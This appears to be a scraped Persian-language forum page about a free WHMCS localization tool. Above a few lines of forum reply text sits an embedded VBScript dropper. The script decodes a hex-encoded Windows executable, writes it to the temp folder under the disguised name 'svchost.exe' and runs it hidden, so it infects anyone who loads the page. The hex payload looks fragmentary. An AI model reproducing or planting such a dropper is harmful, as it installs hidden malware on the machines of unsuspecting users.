<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8000000000000000 000000000000E0000000884724AC91E6B9AF41613A3B548FE4 1AB8C0AFC93B5558E01614502FDDB123F6E2CA21D30E9167C6 9B74B682F40AB47DB2A836EF257BA004B3506568CE51F21B6F F16062DEA585F1BAA01EF8B962E378976698916EF6334CD320 71BDBDF743217F08E17FC60C2AFA10858D511006E5F684EC5D 2748020F6EE9937BA095E85B3CFD962AE06C2788E375BA0F10 5425A1B42D907BFF0B768BB9083C502760FEE3A73890D886CB F74A1B7C61CFFE0CD2D894C104D3AD0486070C2BB61AFFB6F6 D6D616E1E6E70556B4576DD5C00734222BC0D744D9B7BC2DE5 86167655732556E6827B964C2E67E6BB7787074696F6EC7CC7 2175BC2B205635F4C42CA563664D46CC8C6B60F4D6F64756F4 87557E8BFC202C2559957696465A1DDDAB7431C72546F4D491 84270B020804BB738775BB043CA0140CF098011ED91BD8D934 10070600F6B6677BE851273C6007D4440015680C412EE30000 0"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>
پاسخ : فارسی ساز رایگان whmcs
نوشته اصلی توسط naseri
پاسخ با نقل قول